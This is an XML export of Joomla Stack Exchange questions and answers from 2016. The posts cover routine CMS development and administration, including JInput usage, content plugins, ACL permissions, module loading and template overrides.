  <row Id="17737" PostTypeId="1" AcceptedAnswerId="17810" CreationDate="2016-08-30T13:45:08.233" Score="1" ViewCount="139" Body="&lt;p&gt;i have plugin wbAMP for Accelerate Mobile Pages of Google. But i have a problem about this plugin. wbAMP is 1.4 version, and when i start this plugin and I check with google developer operation i see an error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Field author is missing.&quot;&#xA;&quot;Field datePublished date is missing.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem is present only for pages that have articles in K2 . While the standard items of joomla do not have this problem. Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin problem or mine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. All items in k2 have all dates and author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7288" LastActivityDate="2016-09-07T05:03:29.740" Title="Joomla 3.6.2 - wbAMP Plugin not take author from k2 article" Tags="|joomla-3.x|plugin|k2|" AnswerCount="1" CommentCount="2" ClosedDate="2016-09-14T15:10:28.250" ContentLicense="CC BY-SA 3.0" />
  <row Id="17738" PostTypeId="1" AcceptedAnswerId="17739" CreationDate="2016-08-30T16:53:51.960" Score="3" ViewCount="2353" Body="&lt;p&gt;I believe &lt;code&gt;JRequest&lt;/code&gt; is deprecated and should be replaced with &lt;code&gt;Jinput&lt;/code&gt;, however when I change the following code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$limit = JRequest::getInt('limit', $app-&amp;gt;get('list_limit'));&#xA;$this-&amp;gt;setState('list.limit', $limit);         &#xA;$limitstart = JRequest::getInt('limitstart', 'limitstart', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$limit = jinput::getInt('limit', $app-&amp;gt;get('list_limit'));&#xA;$this-&amp;gt;setState('list.limit', $limit);         &#xA;$limitstart = jinput::getInt('limitstart', 'limitstart', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It doesn't work.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone know what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="12352" LastEditDate="2022-12-10T11:15:37.677" LastActivityDate="2022-12-10T11:15:37.677" Title="Replacing JRequest (deprecated) with JInput" Tags="|joomla-3.x|jrequest|deprecated|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17739" PostTypeId="2" ParentId="17738" CreationDate="2016-08-30T17:00:05.307" Score="4" Body="&lt;p&gt;Reason why you're code isn't working is because you haven't called the &lt;code&gt;$jinput&lt;/code&gt; variable correctly. Also, &lt;code&gt;getInt&lt;/code&gt; is not a static function, therefore should &lt;strong&gt;not&lt;/strong&gt; be called statically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So replace this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$limit = jinput::getInt('limit', $app-&amp;gt;get('list_limit'));&#xA;$this-&amp;gt;setState('list.limit', $limit);         &#xA;$limitstart = jinput::getInt('limitstart', 'limitstart', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$limit = $jinput-&amp;gt;getInt('limit', $app-&amp;gt;get('list_limit'));&#xA;$this-&amp;gt;setState('list.limit', $limit);         &#xA;$limitstart = $jinput-&amp;gt;getInt('limitstart', 'limitstart', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm surprised you didn't get any errors when viewing the site. So in future, please set &lt;strong&gt;Error Reporting&lt;/strong&gt; on your Global Configuration to &lt;strong&gt;Development&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-08-30T17:00:05.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17740" PostTypeId="1" AcceptedAnswerId="17958" CreationDate="2016-08-30T20:23:58.270" Score="0" ViewCount="71" Body="&lt;p&gt;I have created a plugin that adds a radio selection and text fields to back-end Article creation (and I thought edit as well) but the functionality behind those custom inputs only fires on creation. I need the functionality to apply on edit saves as well since the article in question will be used dozens of times. Is there a way to make this happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;plugin XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.4&quot; type=&quot;plugin&quot; group=&quot;content&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_content_articlepublishemail&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;---&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;July 2016&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;(C) 2005 - 2016 Open Source Matters. All rights reserved.&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;GNU General Public License version 2 or later; see LICENSE.txt&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;---&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;---&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;PLG_CONTENT_ARTICLEPUBLISHEMAIL_XML_DESCRIPTION&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;forms&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;articlepublishemail&quot;&amp;gt;articlepublishemail.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;languages&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.plg_content_articlepublishemail.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;/languages&amp;gt;      &#xA;    &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;content XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;attribs&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;articlepublishemail&quot; label=&quot;Emailer&quot;&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&quot;email_send&quot;&#xA;                type=&quot;radio&quot;&#xA;                default=&quot;0&quot;&#xA;                label=&quot;PLG_CONTENT_ARTICLEPUBLISHEMAIL_EMAIL_SEND_LABEL&quot;&amp;gt;&#xA;                &amp;lt;option name=&quot;sendoff&quot; id=&quot;sendoff&quot; value=&quot;0&quot;&amp;gt;JOFF&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option name=&quot;sendon&quot; id=&quot;sendon&quot; value=&quot;1&quot;&amp;gt;JON&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&quot;first_email_sendto&quot;&#xA;                type=&quot;text&quot;&#xA;                label=&quot;PLG_CONTENT_ARTICLEPUBLISHEMAIL_FIRST_EMAIL_SENDTO_LABEL&quot;&#xA;            /&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&quot;second_email_sendto&quot;&#xA;                type=&quot;text&quot;&#xA;                label=&quot;PLG_CONTENT_ARTICLEPUBLISHEMAIL_SECOND_EMAIL_SENDTO_LABEL&quot;&#xA;            /&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&quot;third_email_sendto&quot;&#xA;                type=&quot;text&quot;&#xA;                label=&quot;PLG_CONTENT_ARTICLEPUBLISHEMAIL_THIRD_EMAIL_SENDTO_LABEL&quot;&#xA;            /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die;&#xA;&#xA;class plgContentArticlepublishemail extends JPlugin&#xA;{&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    function onContentPrepareForm($form,$data)&#xA;    {&#xA;        if(!($form instanceof JForm))&#xA;        {&#xA;            $this-&amp;gt;_subject-&amp;gt;setError('JERROR_NOT_A_FORM');&#xA;            return false;&#xA;        }&#xA;&#xA;        $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;&#xA;        switch($option)&#xA;        {&#xA;            case 'com_content' :&#xA;                if ($app-&amp;gt;isAdmin())&#xA;                {&#xA;                    JForm::addFormPath(__DIR__ . '/forms');&#xA;                    $form-&amp;gt;loadFile('content',false);&#xA;                }&#xA;                return true;&#xA;        }&#xA;        return true;&#xA;    }&#xA;&#xA;    function onContentBeforeSave($context, $article, $isNew)&#xA;    {&#xA;        $id = $article-&amp;gt;id ;&#xA;&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        $attribs = json_decode($article-&amp;gt;attribs);&#xA;&#xA;        $confirmed_to_send = &quot;&quot; . $attribs-&amp;gt;email_send ;&#xA;&#xA;        if($confirmed_to_send == '1')&#xA;        {&#xA;            // do some stuff with the sendto fields&#xA;        }&#xA;        return true;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7215" LastActivityDate="2016-09-22T18:16:22.723" Title="Custom Article plugin loses functionality after article creation" Tags="|plugin|articles|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17741" PostTypeId="2" ParentId="17699" CreationDate="2016-08-30T22:53:29.717" Score="2" Body="&lt;p&gt;If it's just a block of content or a logo, you can place the two different sets in modules, and embed BOTH of them in the page (using loadposition or the Modules button under the article editor in later versions of Joomla 3.x), but set one to Registered User and the other to Guest. Then go into the User Manager to the options and set the public group to Guest instead of Public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the Guest module will only appear to those logged out, and the Registered User module will appear to those logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option is to just use a plugin like this Content Filter (free and paid versions)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.function90.com/products/content-filter.html&quot; rel=&quot;nofollow&quot;&gt;http://www.function90.com/products/content-filter.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2016-08-30T22:53:29.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17742" PostTypeId="1" AcceptedAnswerId="17743" CreationDate="2016-08-31T00:58:16.863" Score="1" ViewCount="480" Body="&lt;p&gt;How can i hide &quot;Super Users&quot; from Users Manager list in the Joomla backend from other user groups?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have allowed my &quot;Editors&quot; to access a limited version of the Joomla backend. But they can still see me (Super User) listed in the User Manager. They cannot edit my profile, which is good, but how can I hide the Super User row itself from other user groups?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7171" LastActivityDate="2016-08-31T05:57:27.163" Title="How to hide &quot;Super Users&quot; from Users Manager list in the Joomla backend?" Tags="|super-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17743" PostTypeId="2" ParentId="17742" CreationDate="2016-08-31T05:57:27.163" Score="3" Body="&lt;p&gt;Unfortunately, this can only be done using a core modification. Open the file &lt;code&gt;administrator/components/com_users/views/users/tmpl/default.php&lt;/code&gt; and, just above the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$canEdit   = false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;continue;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will prevent super users from being displayed to anyone who is a non super user.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-08-31T05:57:27.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17746" PostTypeId="1" AcceptedAnswerId="17748" CreationDate="2016-08-31T10:31:41.110" Score="2" ViewCount="333" Body="&lt;p&gt;I want to have a menu item in joomla-3x so that when a user taps on it, automatically opens the Phone dial app on smart phones. I found the following structure on &lt;a href=&quot;https://stackoverflow.com/a/23486695/963543&quot;&gt;stackoverflow.com&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;tel:1234567&quot;&amp;gt;Call 123-4567&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;callto:1234567&quot;&amp;gt;Call 123-4567&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I fill the link field's value with &lt;code&gt;tel:1234567&lt;/code&gt;, I get the &lt;code&gt;Save not permitted.&lt;/code&gt; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have such menu item without any core hacks?&lt;/p&gt;&#xA;" OwnerUserId="311" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-08-31T11:09:38.890" Title="External link menu item with tell or callto" Tags="|joomla-3.x|menu-item|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17747" PostTypeId="2" ParentId="4294" CreationDate="2016-08-31T10:31:41.520" Score="5" Body="&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;&lt;code&gt;JUri&lt;/code&gt; is now also deprecated. The correct way now is as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$uri = \Joomla\CMS\Uri\Uri::getInstance();&#xA;echo  $uri-&amp;gt;toString();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(Edited to include an initial backslash - required if there is a current namespace)&lt;/p&gt;&#xA;&lt;p&gt;Old message that is now also deprecated:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;JFactory::getURI();&lt;/code&gt; is deprecated. The correct method to get the current URL is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$uri = JUri::getInstance();&#xA;echo  $uri-&amp;gt;toString();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="15057" LastEditDate="2021-08-25T01:06:47.770" LastActivityDate="2021-08-25T01:06:47.770" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17748" PostTypeId="2" ParentId="17746" CreationDate="2016-08-31T11:09:38.890" Score="5" Body="&lt;p&gt;This should work just fine. You do however need to ensure you set the &lt;strong&gt;Menu Item Type&lt;/strong&gt; to &lt;strong&gt;External URL&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;See the screenshots below:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Bbpdi.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bbpdi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/e5vGH.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e5vGH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-08-31T11:09:38.890" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17752" PostTypeId="2" ParentId="16807" CreationDate="2016-08-31T13:35:01.160" Score="2" Body="&lt;p&gt;Actually, it was an issue with ZooLanders ImagePro component, it was not updated and the site has been migrated from Joomla 2.5 to 3.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgrading Zoolanders Framework did the trick&lt;/p&gt;&#xA;" OwnerUserId="8530" LastActivityDate="2016-08-31T13:35:01.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17753" PostTypeId="1" CreationDate="2016-08-31T13:38:04.223" Score="1" ViewCount="52" Body="&lt;p&gt;I have got a too amazing feature regarding ACL : a category and a sub-category for which ACL of three user groups is inconsistent. One group's got herited right at sub-category however it hasn't right at the parent category...&#xA;These 2 pictures give all needed info to (non)understand (!)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/bSV7O.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bSV7O.png&quot; alt=&quot;ACL screens&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JjIgg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JjIgg.png&quot; alt=&quot;BDD relations&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for advice&lt;/p&gt;&#xA;" OwnerUserId="7042" LastActivityDate="2016-11-30T10:43:52.770" Title="Joomla!3.6.x - BDD - ACL inconsistent" Tags="|joomla-3.x|administrator|database|acl|category|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17754" PostTypeId="2" ParentId="17717" CreationDate="2016-08-31T15:10:34.413" Score="1" Body="&lt;p&gt;I added this code part to default.php in templates\sj_market\html\com_virtuemart\category&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   //page heading goes here - if it's turned on&#xA;   $menu = &amp;amp;JSite::getMenu();&#xA;   $active = $menu-&amp;gt;getActive();&#xA;   $menuname = $active-&amp;gt;params-&amp;gt;get('page_heading');&#xA;   if($active-&amp;gt;params-&amp;gt;get('show_page_heading', 1)==1){      &#xA;      echo &quot;&amp;lt;h1&amp;gt;&quot;.$menuname.&quot;&amp;lt;/h1&amp;gt;&quot;;&#xA;   }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;problem solved in virtuemart pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but still i dont know what to do about home page. &#xA;there is only h3 in home page...&lt;/p&gt;&#xA;" OwnerUserId="8738" LastActivityDate="2016-08-31T15:10:34.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17757" PostTypeId="2" ParentId="17753" CreationDate="2016-08-31T17:53:16.790" Score="2" Body="&lt;p&gt;The permissions to create and edit in category &quot;Informatique et SIG&quot; for user group &quot;fiche_pratique_DSI_agents&quot; are set to &quot;inherit&quot;. They should inherit from the parent category &quot;Mon service&quot; and therefore should be &quot;not allowed&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe something with your #__assets table is wrong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Before you do anything else, make a backup of your database.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I would try to change the value in column &quot;rules&quot; for category &quot;Informatique et SIG&quot; in table #_assets from {&quot;core.create&quot;:{&quot;9&quot;:1,&quot;83&quot;:1} ... to {} (same value as for category &quot;Mon service&quot;) and see if that works. If nothing happened or something went wrong --&gt; revert to backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it did not help you could install an extension, for example &lt;a href=&quot;http://extensions.joomla.org/extension/acl-manager&quot; rel=&quot;nofollow&quot;&gt;ACL-Manager&lt;/a&gt;. It will show you if there are any problems with your ACL and fix them for you.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2016-08-31T17:53:16.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17759" PostTypeId="1" CreationDate="2016-09-01T09:16:13.273" Score="1" ViewCount="296" Body="&lt;p&gt;I have a problem on the generation of an article creation date . The code is inside the script google &lt;code&gt;&amp;lt; script type = &quot; application / ld + json &quot; &amp;gt;&lt;/code&gt; and my code is this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHTML::_('date', $this-&amp;gt;item-&amp;gt;created , JText::_('20y-m-dTh:m:s+01:00')); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that when I write this code , php writes to me to the current date and not the date of creation . Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help&lt;/p&gt;&#xA;" OwnerUserId="7288" LastEditorUserId="5638" LastEditDate="2016-09-01T12:59:53.467" LastActivityDate="2017-11-25T23:01:51.683" Title="Joomla 3.6.2 - Generate datePublished and link of img of item" Tags="|joomla-3.x|php|date|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17761" PostTypeId="1" CreationDate="2016-09-01T11:38:15.207" Score="1" ViewCount="1426" Body="&lt;p&gt;I try to auto upgrade from 3.5.1 to 3.6.0 and get the message 'The archive file is corrupt, truncated or archive parts are missing&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to Install from URL my message is &quot;Unable to find install package&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to upload the package manually the loader runs for a while and then terminates with no upload nor any message&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/logs and /tmp exist and are correctly set in global config &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for any insight- Nikos&lt;/p&gt;&#xA;" OwnerUserId="8950" LastActivityDate="2016-12-30T15:15:51.083" Title="The archive file is corrupt, truncated or archive parts are missing" Tags="|update|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17762" PostTypeId="1" AcceptedAnswerId="17763" CreationDate="2016-09-01T12:03:58.833" Score="1" ViewCount="743" Body="&lt;p&gt;I'm new to Joomla,so I got this problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Articles Anywhere and Modules Anywhere plugins instaled and I have a module for the Home page. In this module I try to load another module and in the second module I'm trying to load an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything loads fine except the final article wich is outputed as raw tags used to load article.I'll show you the piece of code bellow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- That's the home page module --&amp;gt;&#xA;&#xA;{module module_home_article1_ro} &amp;lt;!-- Loading the module that contains the article --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the second module looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Second module --&amp;gt;&#xA;&#xA;&amp;lt;article class=&quot;article-container&quot;&amp;gt;&#xA;&#xA;   &amp;lt;h1 class=&quot;article-title&quot;&amp;gt; {article my-article}[title]{/article}&amp;lt;/h1&amp;gt;&#xA;   &amp;lt;div class=&quot;article-content&quot;&amp;gt;&#xA;       {article my-article}[text]{/article} &amp;lt;!-- Loading the article --&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/article&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But my output to the home page is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- START: Modules Anywhere --&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;custom&quot;&amp;gt;&#xA;&#xA;&amp;lt;!-- Article --&amp;gt;&#xA;&#xA;&amp;lt;article class=&quot;article-container&quot;&amp;gt;&#xA;   &amp;lt;h1 class=&quot;article-title&quot;&amp;gt; {article my-article}[title]{/article}&amp;lt;/h1&amp;gt;&#xA;   &amp;lt;div class=&quot;article-content&quot;&amp;gt;&#xA;       {article my-article}[text]{/article}&#xA;   &amp;lt;/div&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&#xA;&amp;lt;!-- End article --&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I stop it from outputing article tags and output the actual article ? &#xA;Thank you for your time !&lt;/p&gt;&#xA;" OwnerUserId="8951" LastActivityDate="2016-09-01T12:47:50.150" Title="Joomla 3x ,articles anywhere plugin ,not loading my article inside a module" Tags="|joomla-3.x|plugin|articles|custom-module|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17763" PostTypeId="2" ParentId="17762" CreationDate="2016-09-01T12:25:12.200" Score="2" Body="&lt;p&gt;Under the &quot;Options&quot; tab for &lt;strong&gt;both&lt;/strong&gt; Custom modules, set &quot;Prepare Content&quot; to &quot;Yes.&quot;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2016-09-01T12:47:50.150" LastActivityDate="2016-09-01T12:47:50.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17764" PostTypeId="2" ParentId="17761" CreationDate="2016-09-01T12:30:39.787" Score="0" Body="&lt;p&gt;Did you update the &quot;joomla update component&quot; (sorry it may not be the exact wording, I've got a french installation) before updating to 3.6.0 ? I guess you don't do it (?)&lt;/p&gt;&#xA;" OwnerUserId="7042" LastActivityDate="2016-09-01T12:30:39.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17765" PostTypeId="1" AcceptedAnswerId="17766" CreationDate="2016-09-01T12:50:11.213" Score="0" ViewCount="147" Body="&lt;p&gt;Let's say I need an alternative layout of an administrator module. So I copy the file of the module from the &lt;code&gt;administrator/modules/my_module/tmpl/default.php&lt;/code&gt; and put it inside &lt;code&gt;administrator/templates/isis/html/my_module/default.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is my question: Am I going to loose this created folder/file on Joomla's update since &lt;code&gt;isis&lt;/code&gt; is default Joomla's administrator template?&lt;/p&gt;&#xA;" OwnerUserId="8182" LastActivityDate="2016-09-01T15:05:51.253" Title="Are administrator layout overrides lost in system's templates on Joomla's update?" Tags="|joomla-3.x|template-override|isis-template|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17766" PostTypeId="2" ParentId="17765" CreationDate="2016-09-01T13:21:26.037" Score="1" Body="&lt;p&gt;You will be safe. The &quot;Isis&quot; administrator template layouts do not get updated when the core of Joomla! is updated. Technically, the template is not part of the core code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To verify the update date of a template, you would typically look at the details of the template in &lt;em&gt;Extensions &gt; Templates &gt; Templates&lt;/em&gt;. For Administrator templates, you would select &quot;Administrator&quot; as the type. You will see the &quot;Version&quot; is &quot;1.0&quot; and the &quot;Date&quot; is &quot;3/30/2012&quot; for Isis. However, for this template, the date and version are inaccurate as the Joomla! team has not accurately documented their updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Important:&lt;/em&gt; With all customizations that you make, always keep a backup locally in case something happens (of course, you should be keeping a backup of the entire site, anyway).&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2016-09-01T15:05:51.253" LastActivityDate="2016-09-01T15:05:51.253" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17767" PostTypeId="1" AcceptedAnswerId="17771" CreationDate="2016-09-01T13:45:43.173" Score="2" ViewCount="101" Body="&lt;p&gt;I'm new to Joomla! and I'm designing a website for a client, my very first in Joomla!. He doesn't know how to code, so I'm trying to make it easier for him to update content after I finish with the website, maybe just a couple of clicks here and there, but I don't think I'm doing it right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I'm doing it is having him create articles for every section that needs text, and then I do my part of creating a page structure (HTML/PHP) with modules and load his article there. But, it becomes more complicated when I have images combined with text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, for images, I was thinking to just get all images from a specific folder with PHP or jQuery (I didn't figure out how, yet), and have him just upload / replace images in that folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Am I doing it wrong? &lt;/li&gt;&#xA;&lt;li&gt;Is there a better way to do it?&lt;/li&gt;&#xA;&lt;li&gt;How would you design a website template for someone who doesn't code and updates the website frequently?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8951" LastEditorUserId="5638" LastEditDate="2016-09-01T13:53:55.573" LastActivityDate="2016-09-01T15:09:42.553" Title="How to make it easier for a client to update Joomla website?" Tags="|joomla-3.x|php|development|jquery|content|" 